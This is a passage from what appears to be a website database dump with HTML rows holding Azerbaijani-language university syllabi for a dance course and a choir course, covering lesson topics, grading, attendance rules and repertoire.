width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>9</strong></p></td><td width=\"522\"><p>Musiqi duyumu</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>10</strong></p></td><td width=\"522\"><p>Azərbaycan hərəkətlərinin etyuda birləşdirilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>11</strong></p></td><td width=\"522\"><p>Keçirilən hərəkətlərin təkrarı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>12</strong></p></td><td width=\"522\"><p>Məşqin orta hissəsində müasir rəqslərin öyrədilməsinə keçid</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>13</strong></p></td><td width=\"522\"><p>Hərəkətlərə uyğun səsli və mimika ilə ifadə olunan emosiyalar</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>14</strong></p></td><td width=\"522\"><p>Keçilən Az.elementlərinin</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>15</strong></p></td><td width=\"522\"><p>Rəqs etyudlarını yerinə yetirilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>16</strong></p></td><td width=\"522\"><p>Dünya rəqslərinin elementlərinin öyrənilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>17</strong></p></td><td width=\"522\"><p>Məzun konsertinə rəqsin quruluşu</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>18</strong></p></td><td width=\"522\"><p>Dairə,Sıra,Cərgə</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>19</strong></p></td><td width=\"522\"><p>Məzun konsertinə rəqsin quruluşu</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>20</strong></p></td><td width=\"522\"><p>Azərbaycan və Dünya rəqslərinin elementlərinin təkrarı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>21</strong></p></td><td width=\"522\"><p>Tələbələri imtahan keçirilməsi hazırlıq</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>22</strong></p></td><td width=\"522\"><p>İmtahan keçirilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>23</strong></p></td><td width=\"522\"><p>Məsafələr əl və çırtma çalmaları</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>24</strong></p></td><td width=\"522\"><p>Baxışların, duruşların,çıxışların öyrənilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>25</strong></p></td><td width=\"522\"><p>&nbsp;Səhnə mədəniyyətinin öyrədilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>26</strong></p></td><td width=\"522\"><p>Ü.Hacıbəyli-Koroğlu operasından “Cəngi”</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>27</strong></p></td><td width=\"522\"><p>F.Əmirov- Azərbaycan siyutası</p></td><td width=\"67\"><p><strong>6</strong></p></td></tr><tr><td width=\"49\"><p><strong>28</strong></p></td><td width=\"522\"><p>Köçəri yallısı</p></td><td width=\"67\"><p><strong>6</strong></p></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cəmi 64 saat</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Qızlar Üçün “Rəqs” Fənni</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Rəqs fənnindən Syllabus</strong><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Müəllim:&nbsp;</strong>Səbinə İsmayılova</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;661 83 85</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Semestr:&nbsp;</strong>Fall 2013</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;&nbsp;</strong>20 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Davamiyyət</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması(xəstəlik,ailə vəziyyəti və s.)haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>İmtahan qaydaları</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Universitənin qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.<strong>&nbsp;<br><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kursa Giriş</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Rəqs-sadəcə hərəkətlər yığımı deyil, rəqs-hisslərin ifadə olunması,konkret xalqın əksidir.İstənilən xalq rəqsi özündə,məxsus olduğu xalqın mədəniyyətinin ruhunu yaşadır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Amma bu günkü xalq rəqsi hər şeydə olmasa da bir çox şeylərdə ötən onilliklərin rəqslərindən fərqlənir. İfa etmə tərzi dəyişir. Yeni kolorit əlavə olunur, hərəkətlər yeni çalarlar ifadə edir, rəqs texnikası çətinləşir,</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Düzgün və savadlı qoyulmuş rəqslə nifrətdən məhəbbətə qədər bütün&nbsp; hissləri, səmimiyyət və canlılıq, xalqın xarakterini ifade etmək olar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kursun məqsədi :</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Hər bir təlim pilləsinin öz spesifik&nbsp; xüsüsiyyətləri ,öz çətinlikləri var. Əgər ilk təhsil ilində rəqsin bünövrəsi qoyulur , onun əsasında hərəkətlər öyrənilir, dözümlülük tərbiyə olunur, hərəkətin ifadəli olmasına diqqət yetirilirsə, ikinci və üçüncü təhsil illəri keyfiyyətcə yeni təhsil pilləsidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sinif proqramından asılı olaraq, hər bir dərs bölməsi öz vəzifələri və müəyyən bir hərəkətin digərini əvəz etməsi qaydasına malikdir.Bu qayda iradi deyil. Pedaqoq dərsi&nbsp; öz şagirdlərinin&nbsp; professional&nbsp; və fiziki imkanlarını nəzərə almaqla qurmalı, fiziki yükü düşünülmüş qaydada növbələşdirməli və müəyyən əzələ və bağlara qrupuna yönətməli, güc və rəqs hərəkətlərinin məhdud ahəngi təmin etməyə çalışmalıdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kursun məqsədi&nbsp; rəqsə məhəbbətin aşılanması, həm Azərbaycan, həm də bütün&nbsp; xalqların mədəniyyətinin öyrədilməsidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Musiqi duyumunun&nbsp; inkişaf etdirilməsi , düzgün və&nbsp; gözəl hərəkət etmək bacarığı, yaxşı fiziki normanı saxlamaq.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Pedaqoqun məqsədi tələbələri&nbsp; rəqs sənətinin daha dərin və&nbsp; nisbətən professional öyrənilməsinə cəlb etməkdir. Yaxşı nəticəni&nbsp; yalnız şüurlu iş, daimi özünü idarə sayəsində əldə etmək olar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yeni rəqslər öyrədərkən əvvəlki nəslin təcrübəsindən istifadə etmək lazımdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yaddan çıxartmaq olmaz ki, eyni hərəkətlərin gündəlik təkrar olunması&nbsp; onların ifasında avtomatiklik yaradır.Böyük yaşlı şagirdlər hər bir hərəkətin&nbsp; düzgün necə ifadə olunduğunu bilməli və həmçinin onların&nbsp; ifa edərkən mümkün səhvləri təhlil etməyi bacarmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı&nbsp; birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdr.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələr böyük tamaşaçı auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdir.Tələbələr böyük&nbsp; tamaşacı&nbsp; auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Səhnədə olarkən,rəqsin quruluşuna daxil olmadığı hallarda tamaşaçıya arxasnı çevirmək ,rəqsə müvafiq olan imkanı saxlamaq, həyəcanının, özünün pis hiss etməsini, səhnədə çaşqınlığa&nbsp; düşməsi büruzə verməmək kimi riayət olunması vacib olan qaydalar məcmusu mövcuddur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Həmçinin dərslərdə istər tələbələr, istərsə də pedaqoqların daha yaxşı nəticələr əldə etmək üçün nizam intizama riayət etməsi və xüsusi əhval ruhiyyənin olması çox vacibdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bir sözlə hər şey tələbələrin kursu bitirərkən müstəqil artistlik yoluna qədəm qoymaga hazir olmalarina yönəldilməlidir.</p>  <br></div>'),(1236,762,'az','Sillabus','Sillabus','<div><br></div><div> <div><div style=\"font-family:\'times new roman\', times, serif;background:undefined \"><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti</strong></p><p style=\"background:undefined \"><strong>“Xor” Fənni</strong></p><p style=\"background:undefined \"><strong>Xor fənnindən Syllabus</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Müəllim:&nbsp;Məshəti Cabbarova</strong></p><p style=\"background:undefined \"><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;731 65 45<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Semestr:&nbsp;</strong>Spring 2015</p><p style=\"background:undefined \"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Aktivlik:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;</strong>20 bal</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Davamiyyət</strong></p><p style=\"background:undefined \">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>İmtahan qaydaları</strong></p><p style=\"background:undefined \">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"background:undefined \">Universitetin qaydalarına müvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.</p><p style=\"background:undefined \"><strong>Xor-&nbsp;</strong>Xor oxuma incəsənəti öz çoxəsrlik ənənələri və dərin mənəvi məzmunu ilə həm ifaçıların, həm də dinləyicilərin əxlaqi və intellektual əhval-ruhiyyəsinə güclü təsir edir, milli vokal və musiqi mədəniyyətinin etibarlı qalxanı sayılır, tələbələrin musiqi tərbiyəsini, ümumi mədəniyyətini yüksəldir və formalaşdırır. Musiqi və vokal istedadı olan tələbələrin xor mədəniyyətinə yiyələnməsi və oxuma bacarığının formalaşması Xəzər Universitəsinin Musiqi departamentində həyata keçirilir.Xor kollektivinin ifaçılıq məharəti təkmilləçdirilir, oxuma zamanı nəfəsalma və nəfəsvermə, xor terminləri və xor solfeciosu üzrə vokalizlərə böyük əhəmiyyət verilir.Zəngin xor mədəniyyətinin qorunub saxlanılması və inkişaf etdirilməsi, xor fənninin tədrisinin səviyyəsinin yüksəldilməsi,tələbələrdə&nbsp; xor sənətinə maraq oyadılması, xormeysterlərin yaradıcılıq fəaliyyətinin aktivləşdirilməsi və həvəsləndirilməsi məqsədilə kurs təşkil olunur.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Dərs proqramı</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"621\"><tbody><tr><td width=\"35\"><p style=\"background:undefined \">N</p></td><td width=\"441\"><p style=\"background:undefined \">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mövzu və tapşırıq</p></td><td width=\"47\"><p style=\"background:undefined \">saat</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">1</p></td><td width=\"441\"><p style=\"background:undefined \">Səs üzrə işləmə</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">2</p></td><td width=\"441\"><p style=\"background:undefined \">Nəfəs genişlənmə ilə bağlı məşqələlər</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">3</p></td><td width=\"441\"><p style=\"background:undefined \">Səs məşğələri (müxtəlif intervallarla)</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">4</p></td><td width=\"441\"><p style=\"background:undefined \">Vokalizlər-a hərfi ilə və notların adını çəkərək oxumaq</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">5</p></td><td width=\"441\"><p style=\"background:undefined \">Sinə və beyin rezonatorlarının eyni dərəcədə səslənməsi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">6</p></td><td width=\"441\"><p style=\"background:undefined \">Bir not üzərindəbütün sait hərfləri oxunuşu</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">7</p></td><td width=\"441\"><p style=\"background:undefined \">Nəfəs tutumunun genişlənməsi üçün məşğələlər</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">8</p></td><td width=\"441\"><p style=\"background:undefined \">Artikulyasiya üzərində işləmələr</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">9</p></td><td width=\"441\"><p style=\"background:undefined \">Səs diapazonunun genişlənməsi üçün məşğlər</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">10</p></td><td width=\"441\"><p style=\"background:undefined \">Programsecimi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">11</p></td><td width=\"441\"><p style=\"background:undefined \">Azərbaycan bəstəkar mahnısının,vokal üzərində iş</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">12</p></td><td width=\"441\"><p style=\"background:undefined \">Ifa boyu nəfəs dayağı ilə ələqənin gorunub saxlanması</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">13</p></td><td width=\"441\"><p style=\"background:undefined \">Artikulyasiya</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">14</p></td><td width=\"441\"><p style=\"background:undefined \">Milli əsərlərin ifasında öz azərb.cəhətlərinin qorunması</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">15</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">16</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">17</p></td><td width=\"441\"><p style=\"background:undefined \">Secilmiş əsərlərin üstündə iş: diksiya,tələfüz.</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">18</p></td><td width=\"441\"><p style=\"background:undefined \">Programda olan əsərlərin təhlil olunması, Üzeyir Hacıbəyli O olmasın bu olsun operattasından Hamamnın içində xoru</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">19</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">20</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkar mahnıların üstündə işləmələr&nbsp;O olmasın bu olsun operattasından Ey kimsən orda xoru</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">21</p></td><td width=\"441\"><p style=\"background:undefined \">Xariçi əsərlərinə sözlərin, hecaların və əsərin musiqi&nbsp; cümlələrinin&nbsp; üzərində&nbsp; işləmələr</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">22</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">23</p></td><td width=\"441\"><p style=\"background:undefined \">Obyektə təsir etmə elementlərinin aydınlaşması</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">24</p></td><td width=\"441\"><p style=\"background:undefined \">Məntiqi vurğuların icrasına diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">25</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">26</p></td><td width=\"441\"><p style=\"background:undefined \">Dünya ifaçılarının nümunəvi iş prinsipindən sitatlar</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">27</p></td><td width=\"441\"><p style=\"background:undefined \">Seçilmiş əsərlərin təhlil olunması, Üzeyir Hacıbəyli, Müslüm Maqomayev-Azərbaycan xalq mahnılarının işləmələri</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">28</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda ansambl.Müşayiətçı ilə qarşılıqlı anlaşma</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">29</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda səmimiyyətin aşılanması</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;4</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">30</p></td><td width=\"441\"><p style=\"background:undefined \">İmtahanda ifa olunacaq əsərlərə təkrar baxış</p></td><td width=\"47\"><p style=\"background:undefined \">&nbsp;2</p></td></tr></tbody></table><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Cəmi : 64 saat<strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Repertuar</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \">1.Ü.Hacıbəyli-Azərbaycan Respublikasının Dövlət himni</p><p style=\"background:undefined \">2.Türkiyənin istiqlal marşı</p><p style=\"background:undefined \">3.Ü.Hacıbəyli-O olmasın bu olsun operettasından \"Hamamın içində\"</p><p style=\"background:undefined \">4.Ü.Hacıbəyli-O olmasın bu olsun operettasından \"Ey kimsən orda\"</p><p style=\"background:undefined \">5.T.Quluyev-“Axşam oldu”</p><p style=\"background:undefined \">6. Üzeyir Hacıbəyli \"Leyli və Məcnun\" operasından \"Şəb\'i Hicran\" xoru</p><p style=\"background:undefined \">7.Ü.Hacıbəyli-Azərbaycan Xalq Mahnıları Solist və Xor işləmələri</p><p style=\"background:undefined \">“Aman nənə”</p><p style=\"background:undefined \">“Bəri Bax”</p><p style=\"background:undefined \">“Nə gözəldir”</p><p style=\"background:undefined \">8.Azərbaycan Xalq Mahnıları</p><p style=\"background:undefined \">“Tello”</p><p style=\"background:undefined \">“Muleyli”</p><div style=\"background:undefined \"><br></div></div></div></div><br></div>'),(1237,762,'en','Sillabus','Sillabus','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti</strong></p><p><strong>“Xor” Fənni</strong></p><p><strong>Xor fənnindən Syllabus</strong></p><p><strong>&nbsp;</strong></p><p><strong>Müəllim:&nbsp;Məshəti Cabbarova</strong></p><p><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;731 65 45<strong>&nbsp;</strong></p><p><strong>Semestr:&nbsp;</strong>Spring 2015</p><p><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 